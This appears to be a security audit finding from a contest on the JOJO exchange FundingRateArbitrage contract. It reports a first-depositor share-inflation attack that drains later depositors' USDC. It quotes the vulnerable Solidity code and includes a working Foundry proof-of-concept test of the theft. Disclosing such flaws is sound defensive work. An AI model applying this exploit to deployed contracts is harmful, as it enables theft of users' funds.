Prehistoric Sand Turtle

high

# The first depositor of FundingRateArbitrage contract can drain all users' USDC

## Summary

A malicious first depositor can benefit from subsequent deposits, causing later depositors to lose part or all of their funds to the attacker.

## Vulnerability Detail

The `getIndex()` function is used to return the ratio between `netValue()` and `totalEarnUSDCBalance`. If the `totalEarnUSDCBalance` is zero, it returns a default value of `1e18`. Otherwise, it computes the index by dividing the net value of the system by the total earned USDC balance.

```solidity=98
function getIndex() public view returns (uint256) {
    if (totalEarnUSDCBalance == 0) {
        return 1e18;
    } else {
        return SignedDecimalMath.decimalDiv(getNetValue(), totalEarnUSDCBalance);
    }
}
```

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L98-L104

Anyone can call the `deposit()` function to increase the `totalEarnUSDCBalance` value. Subsequently, when the `getIndex()` function is invoked, it returns the ratio between `getNetValue()` and `totalEarnUSDCBalance()`.

```solidity=258
function deposit(uint256 amount) external {
    require(amount != 0, "deposit amount is zero");
    uint256 feeAmount = amount.decimalMul(depositFeeRate);
    if (feeAmount > 0) {
        amount -= feeAmount;
        IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
    }
    uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
    IERC20(usdc).transferFrom(msg.sender, address(this), amount);
    JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
    earnUSDCBalance[msg.sender] += earnUSDCAmount;
    jusdOutside[msg.sender] += amount;
    totalEarnUSDCBalance += earnUSDCAmount;
    require(getNetValue() <= maxNetValue, "net value exceed limitation");
    uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
    require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
    emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}
```

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275

By transferring USDC directly to the contract, these funds are summed up as the net value in the system, resulting in an increase in the net value.

```solidity=87
function getNetValue() public view returns (uint256) {
    uint256 jusdBorrowed = IJUSDBank(jusdBank).getBorrowBalance(address(this));
    uint256 collateralAmount = IJUSDBank(jusdBank).getDepositBalance(collateral, address(this));
    uint256 usdcBuffer = IERC20(usdc).balanceOf(address(this));
    uint256 collateralPrice = IJUSDBank(jusdBank).getCollateralPrice(collateral);
    (int256 perpNetValue,,,) = JOJODealer(jojoDealer).getTraderRisk(address(this));
    return
        SafeCast.toUint256(perpNetValue) + collateralAmount.decimalMul(collateralPrice) + usdcBuffer - jusdBorrowed;
}
```

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L87-L95


With an incorrectly high net value, the `amount.decimalDiv(getIndex());` at line 265 will experience a loss of precision,  requiring a substantial deposit of a huge amount to gain some `earnUSDCBalance` for the depositor.

```solidity=258
function deposit(uint256 amount) external {
    require(amount != 0, "deposit amount is zero");
    uint256 feeAmount = amount.decimalMul(depositFeeRate);
    if (feeAmount > 0) {
        amount -= feeAmount;
        IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
    }
    uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
    IERC20(usdc).transferFrom(msg.sender, address(this), amount);
    JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
    earnUSDCBalance[msg.sender] += earnUSDCAmount;
    jusdOutside[msg.sender] += amount;
    totalEarnUSDCBalance += earnUSDCAmount;
    require(getNetValue() <= maxNetValue, "net value exceed limitation");
    uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
    require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
    emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}
```

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275

The first depositor could deposit only 1 wei of USDC, manipulate the net value by directly transferring some small amount of USDC to the contract, and then deposit a substantial amount of USDC to gain the `earnUSDCBalance`.

When the next depositor makes a deposit, their `earnUSDCBalance` value will encounter precision loss, and the USDC will be aggregated as part of the net value of the system. Consequently, the attacker will profit from this USDC.

Furthermore, the attacker can easily front-run this transaction to execute the attack.

Please add this test to `FundingRateArbitrageTest.t.sol`  to showcase the exploit.

```solidity
forge test --mt test_firstDepositorStealOtherUserFund -vv
```

```solidity
function test_firstDepositorStealOtherUserFund() public {

    /// setWithdrawSettleFee
    vm.startPrank(Owner);
    fundingRateArbitrage.setWithdrawSettleFee(2e6);
    vm.stopPrank();

    /// mint for Alice 10,000 USDC and mint for Bob 100 USDC
    USDC.mint(address(alice), 10_000e6);
    USDC.mint(address(bob), 100e6);

    uint256 aliceBalanceBefore = USDC.balanceOf(address(alice));

    vm.startPrank(alice);
    USDC.approve(address(fundingRateArbitrage), 10_000e6);

    /// Alice makes her initial deposit to ensure that the totalEarnUSDCBalance is not equal to zero.
    fundingRateArbitrage.deposit(1);

    /// Alice transfer 100 USDC to the FundingRateArbitrage contract directly to increase getNetValue()
    USDC.transfer(address(fundingRateArbitrage), 100e6);
    uint aliceAmt = 8_000e6; // 8,000 USDC

    /// Alice deposited with huge amount of USDC
    fundingRateArbitrage.deposit(aliceAmt);

    /// Request for withdraw
    jojoDealer.requestWithdraw(alice, 0, aliceAmt);
    vm.warp(100);
    jojoDealer.executeWithdraw(alice, alice, false, "");

    jusd.approve(address(fundingRateArbitrage), aliceAmt);

    uint256 index = fundingRateArbitrage.requestWithdraw(aliceAmt);
    vm.stopPrank();

    uint bobAmt = 100e6; // 100 USDC
    vm.startPrank(bob);
    USDC.approve(address(fundingRateArbitrage), bobAmt);

    /// Bob calls deposit() normally with 100 USDC
    fundingRateArbitrage.deposit(bobAmt);
    vm.stopPrank();

    /// Permit withdraw request by Owner
    vm.startPrank(Owner);
    uint256[] memory indexs = new uint256[](1);
    indexs[0] = index;
    fundingRateArbitrage.permitWithdrawRequests(indexs);
    vm.stopPrank();


    /// Now, the 100 USDC in Bob's FundingRateArbitrage contract has been drained to Alice
    uint256 aliceBalanceAfter = USDC.balanceOf(address(alice));
    uint256 fundingRateArbitrageBalance = USDC.balanceOf(address(fundingRateArbitrage));

    assertGt(aliceBalanceAfter, aliceBalanceBefore);
    assertEq(fundingRateArbitrageBalance, 0);

    console.log("Alice's USDC:", USDC.balanceOf(address(alice)));
    console.log("Bob's USDC:", USDC.balanceOf(address(bob)));
    console.log("FundingRateArbitrage's USDC:", USDC.balanceOf(address(fundingRateArbitrage)));
    console.log("totalEarnUSDC:", fundingRateArbitrage.totalEarnUSDCBalance());
}
```

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/test/impl/FundingRateArbitrageTest.t.sol

## Impact

The first depositor has the ability to take away a portion or all of the USDC that other users have deposited into the `FundingRateArbitrage` contract.

## Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L87-L95

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L98-L104

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275

## Tool used

Manual Review

## Recommendation

I suggest the team be the first depositor when deploying the contract.